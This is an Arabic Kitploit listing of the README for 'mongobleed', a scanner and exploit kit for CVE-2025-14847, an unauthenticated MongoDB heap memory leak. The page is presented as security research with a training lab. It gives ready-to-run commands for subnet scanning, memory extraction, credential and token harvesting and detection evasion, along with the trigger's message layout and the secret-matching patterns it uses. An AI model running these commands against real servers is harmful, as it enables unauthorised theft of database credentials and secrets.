Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
MongoBleed — CVE-2025-14847 (MongoBleed) أداة مسح واستغلال. تسرب ذاكرة كومة MongoDB غير المُوثَّقة عبر فك ضغط zlib. تتضمن الكشف، استخراج الذاكرة، تحليل بيانات الاعتماد، المسح عبر CIDR/دفعات، قوالب Nuclei، ومختبر CTF. | Kitploit
أدوات/GitHubGitHub/sho-luv/mongobleed
ماسحات الثغرات الأمنيةتحليل الذاكرة الجنائيتخطيط الشبكةالاستغلالCTFاختبار الاختراقالتعلم والتعليمأمن قواعد البياناتمختبرات وتدريب عملي
GitHubsho-luv/mongobleed

MongoBleed

CVE-2025-14847 (MongoBleed) أداة مسح واستغلال. تسرب ذاكرة كومة MongoDB غير المُوثَّقة عبر فك ضغط zlib. تتضمن الكشف، استخراج الذاكرة، تحليل بيانات الاعتماد، المسح عبر CIDR/دفعات، قوالب Nuclei، ومختبر CTF.

24منذ 7 أشهرلم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

MongoBleed

ماسح ضوئي وأداة استغلال لـ CVE-2025-14847

طقم أدوات أبحاث أمنية لـ MongoBleed -- تسرب ذاكرة غير موثّق وخطير في فك ضغط zlib في MongoDB يسمح للمهاجمين باستخراج بيانات حساسة من ذاكرة الكومة في الخادم دون مصادقة.

root@kitploit:~
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬  ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│  ├┤ ├┤  ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit

بداية سريعة

root@kitploit:~
# No external dependencies -- Python 3 standard library only
cd cli

# Detect if a target is vulnerable (default action)
python mongobleed.py -t localhost:27017

# Scan an entire subnet
python mongobleed.py -t 192.168.1.0/24

# Extract memory and parse for credentials
python mongobleed.py -t target:27017 -e --credentials

# Safe mode -- detection only, no exploitation
python mongobleed.py -t target:27017 -s

هيكل المستودع

root@kitploit:~
MongoBleed/
├── cli/                          # أداة المسح والاستغلال من سطر الأوامر
│   ├── mongobleed.py             # الأداة الرئيسية لسطر الأوامر
│   ├── requirements.txt          # تبعيات بايثون (المكتبة القياسية فقط)
│   └── README.md                 # توثيق أداة سطر الأوامر
├── lab/                          # بيئة مختبر تعتمد على Docker
│   ├── docker-compose.yml        # إعداد المختبر متعدد الحاويات
│   ├── vulnerable/               # تكوينات MongoDB ضعيفة
│   ├── patched/                  # MongoDB مصححة للمقارنة
│   ├── no-zlib/                  # غير قابل للاستغلال (zlib معطل)
│   ├── monitoring/               # لوحة تحكم لتصور الهجوم
│   ├── warmup-heap.sh            # ملء الكومة ببيانات حساسة
│   └── README.md                 # تعليمات إعداد المختبر
├── nuclei/                       # قوالب مسح Nuclei
│   ├── CVE-2025-14847.yaml       # قالب استغلال نشط
│   ├── CVE-2025-14847-safe.yaml  # قالب كشف آمن
│   └── README.md                 # توثيق قوالب Nuclei
├── docs/                         # توثيق تعليمي
│   ├── README.md                 # فهرس مسار التعلم
│   ├── 01-fundamentals.md        # أساسيات MongoDB والذاكرة
│   ├── 02-vulnerability.md       # تعمق في CVE-2025-14847
│   ├── 03-exploitation.md        # استغلال عملي
│   ├── 04-detection.md           # البحث والكشف
│   └── 05-defense.md             # استراتيجيات التخفيف
└── README.md                     # هذا الملف

الميزات

أداة سطر الأوامر

  • تحديد الإصدار والكشف عن الضغط (zlib/snappy/zstd)
  • كشف الثغرات مع خيار الوضع الآمن
  • استخراج الذاكرة عبر مسح الإزاحة (نطاق قابل للتكوين)
  • كشف أنماط بيانات الاعتماد (16 نمطًا: كلمات المرور، مفاتيح API، JWTs، مفاتيح AWS، عناوين URI الخاصة بـ MongoDB، إلخ.)
  • دعم تدوين CIDR (192.168.1.0/24، 10.0.0.0/16:27018)
  • مسح دفعات من ملفات الهدف مع تعدد الخيوط
  • وضع الاستخراج المستمر
  • استخراج النصوص القابلة للطباعة و Hexdump
  • إخراج JSON وتصدير إلى ملف
  • عناصر تحكم في التهرب (تأخير، تشويش)
  • إخراج طرفية ملونة

بيئة المختبر

  • إصدارات متعددة من MongoDB ضعيفة (4.4.29، 6.0.26، 8.0.16)
  • إصدار مصحح للمقارنة (8.0.17)
  • إصدار بدون zlib يوضح التخفيف
  • مزروعة مسبقًا ببيانات حساسة واقعية
  • أعلام من نوع CTF للتعلم
  • لوحة تحكم مع تصور الهجوم
  • سكريبت تدفئة الكومة لتوضيح استغلال موثوق

قوالب Nuclei

  • قالب كشف آمن (فحص الإصدار والضغط فقط)
  • قالب استغلال نشط (فحص الإصدار وتأكيد zlib)

الاستخدام

الكشف

root@kitploit:~
# فحص هدف واحد
python mongobleed.py -t localhost:27017

# فحص مع إخراج مفصل
python mongobleed.py -t localhost:27017 -v

# الوضع الآمن -- كشف فقط، لا يرسل حمولة استغلال أبدًا
python mongobleed.py -t localhost:27017 -s

# عرض معلومات الإصدار
python mongobleed.py -t localhost:27017 --version

مسح الشبكة

root@kitploit:~
# فحص شبكة فرعية /24
python mongobleed.py -t 192.168.1.0/24

# CIDR مع منفذ مخصص
python mongobleed.py -t 10.0.0.0/24:27018

# فحص من ملف أهداف (يتم توسيع نطاقات CIDR في الملف)
python mongobleed.py -T targets.txt -j 20 -o results.json

# يمكن أن يحتوي ملف الهدف على عناوين IP ومنافذ ونطاقات CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017

استخراج الذاكرة

root@kitploit:~
# استخراج الذاكرة (نطاق الإزاحة الافتراضي 20-8192)
python mongobleed.py -t target:27017 -e

# نطاق إزاحة مخصص
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500

# استخراج مستمر (اضغط Ctrl+C للإيقاف)
python mongobleed.py -t target:27017 --continuous

# فرض الاستخراج حتى لو كان فحص الإصدار غير حاسم
python mongobleed.py -t target:27017 -e --force

التحليل

root@kitploit:~
# تحليل الذاكرة المسربة لبيانات الاعتماد والأسرار
python mongobleed.py -t target:27017 -e --credentials

# تحليل للرموز بشكل خاص
python mongobleed.py -t target:27017 -e --tokens

# استخراج النصوص القابلة للطباعة
python mongobleed.py -t target:27017 -e --strings

# إخراج Hexdump
python mongobleed.py -t target:27017 -e --hexdump

التهرب

root@kitploit:~
# إضافة تأخير بين الطلبات (ميلي ثانية)
python mongobleed.py -t target:27017 -e --delay 500

# تشويش عشوائي على التأخير
python mongobleed.py -t target:27017 -e --delay 1000 --jitter

قوالب Nuclei

root@kitploit:~
# كشف آمن فقط
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017

# كشف نشط
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017

# مسح أهداف متعددة
nuclei -t nuclei/ -l targets.txt

بيئة المختبر

root@kitploit:~
# تشغيل جميع الحاويات
cd lab && docker compose up -d

# الخدمات:
# - localhost:27017  MongoDB 4.4.29 (ضعيفة + zlib)
# - localhost:27018  MongoDB 6.0.26 (ضعيفة + zlib)
# - localhost:27019  MongoDB 8.0.16 (ضعيفة + zlib)
# - localhost:27020  MongoDB 8.0.17 (مصححة)
# - localhost:27021  MongoDB 8.0.16 (بدون zlib - غير قابلة للاستغلال)
# - localhost:8080   لوحة تحكم المراقبة

# تدفئة الكومة ببيانات حساسة قبل الاستغلال
./warmup-heap.sh 27017 50

# تشغيل الأداة ضد المختبر
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials

خيارات سطر الأوامر

root@kitploit:~
الهدف:
  -t, --target TARGET     الهدف: host:port أو نطاق CIDR (مثال 192.168.1.0/24)
  -T, --targets FILE      ملف يحتوي على قائمة الأهداف (يدعم CIDR في كل سطر)

الكشف:
  --detect                كشف ما إذا كان الهدف ضعيفًا (الإجراء الافتراضي)
  --version               عرض إصدار MongoDB
  -s, --safe              الوضع الآمن - كشف فقط، لا استغلال

الاستغلال:
  -e, --extract           استخراج الذاكرة عبر مسح الإزاحة
  --min-offset N          أقل إزاحة للفحص (الافتراضي: 20)
  --max-offset N          أكبر إزاحة للفحص (الافتراضي: 8192)
  --continuous            وضع الاستخراج المستمر
  --force                 فرض الاستخراج حتى لو فشل فحص الإصدار

التحليل:
  --credentials           تحليل لبيانات الاعتماد
  --tokens                تحليل للرموز
  --strings               استخراج النصوص القابلة للطباعة
  --hexdump               عرض Hexdump

التهرب:
  --delay MS              تأخير بين الطلبات (ميلي ثانية)
  --jitter                تشويش عشوائي على التأخير

الإخراج:
  -o, --output FILE       ملف الإخراج (JSON)
  -v, --verbose           إخراج مفصل
  -q, --quiet             وضع هادئ
  --json                  إخراج بتنسيق JSON
  --no-color              تعطيل الألوان

الاتصال:
  --timeout SECS          مهلة الاتصال (الافتراضي: 10)
  -j, --threads N         عدد الخيوط للمسح الدفعي (الافتراضي: 10)

أنماط كشف بيانات الاعتماد

يبحث الأداة في الذاكرة المستخرجة عن الأنماط التالية:

النوعمثال
passwordpassword: value, passwd=value
secretsecret: value
api_keyapi_key: sk_live_...
tokentoken: ... (16+ حرف)
bearer_tokenBearer eyJ...
jwteyJ... (Base64 JWT)
mongodb_urimongodb://user:pass@host
postgres_uripostgresql://...
redis_uriredis://...
stripe_keysk_live_...
openai_keysk-... (48+ حرف)
aws_access_keyAKIA...
github_tokenghp_...
slack_tokenxoxb-..., xoxp-...
ctf_flagFLAG{...}

تفاصيل CVE-2025-14847

العنصرالقيمة
CVECVE-2025-14847
الاسمMongoBleed
CWECWE-130 (معالجة غير صحيحة لمعامل الطول)
CVSS8.7 (عالي)
النوعتسرب ذاكرة غير موثّق
تاريخ الإفصاح19 ديسمبر 2025
تاريخ الاستغلال في البرية29 ديسمبر 2025

الإصدارات المتأثرة

الفرعضعيفمصحح
8.2.x8.2.0 - 8.2.28.2.3
8.0.x8.0.0 - 8.0.168.0.17
7.0.x7.0.0 - 7.0.277.0.28
6.0.x6.0.0 - 6.0.266.0.27
5.0.x5.0.0 - 5.0.315.0.32
4.4.x4.4.0 - 4.4.294.4.30
4.2.xجميع الإصداراتانتهى الدعم - لا يوجد تصحيح
4.0.xجميع الإصداراتانتهى الدعم - لا يوجد تصحيح
3.6.xجميع الإصداراتانتهى الدعم - لا يوجد تصحيح

كيف يعمل

يستغل MongoBleed ثغرة في فك ضغط رسائل zlib في MongoDB (message_compressor_zlib.cpp). يقوم الكود الضعيف بإرجاع حجم المخزن المؤقت المخصص بدلاً من الطول الفعلي بعد فك الضغط، مما يسمح للمهاجمين بقراءة ذاكرة كومة غير مهيأة.

root@kitploit:~
1. الاتصال (لا حاجة للمصادقة)
              ↓
2. إرسال OP_COMPRESSED مشوه
   ┌──────────────────────────────────┐
   │ originalOpcode: OP_MSG (2013)    │
   │ uncompressedSize: مبالغ فيه       │ ← محفز الثغرة
   │ compressorId: zlib (2)           │
   │ compressedMessage: [بيانات صغيرة]│
   └──────────────────────────────────┘
              ↓
3. الخادم يخصص مخزناً كبيراً جداً
   [ بيانات حقيقية صغيرة | ذاكرة كومة غير مهيأة ]
              ↓
4. محلل BSON يقرأ في القمامة
   طول المستند المبالغ فيه يجعل المحلل يقرأ
   خارج البيانات الفعلية إلى ذاكرة الكومة
              ↓
5. رسالة الخطأ تسرب الذاكرة
   "invalid BSON field name 'password=secret123...'"

ما يمكن تسريبه

  • بيانات اعتماد قواعد البيانات وكلمات المرور
  • مفاتيح API والرموز
  • رموز الجلسة و JWTs
  • سلاسل اتصال MongoDB
  • أسرار التطبيقات من الذاكرة
  • معلومات تعريف العملاء من الاستعلامات الأخيرة
  • بيانات التكوين الداخلية

الإسناد

  • Joe Desimone (Elastic Security) - الإثبات الأولي للمفهوم وتسمية الثغرة
  • فريق أمن MongoDB - تطوير التصحيح
  • Wiz Research - تحليل الاستغلال في البرية
  • Eric Capuano - تواقيع الكشف وأداة Velociraptor

المراجع

  • تنبيه أمني من MongoDB
  • مدونة Wiz - تحليل MongoBleed
  • مطاردة MongoBleed - Eric Capuano
  • الإثبات الأولي - joe-desimone/mongobleed
  • NVD - CVE-2025-14847

إخلاء المسؤولية

تم تقديم هذه الأدوات لأغراض الاختبارات الأمنية المصرح بها والبحث والتعليم فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني.

الترخيص

MIT License

تنزيل الأداة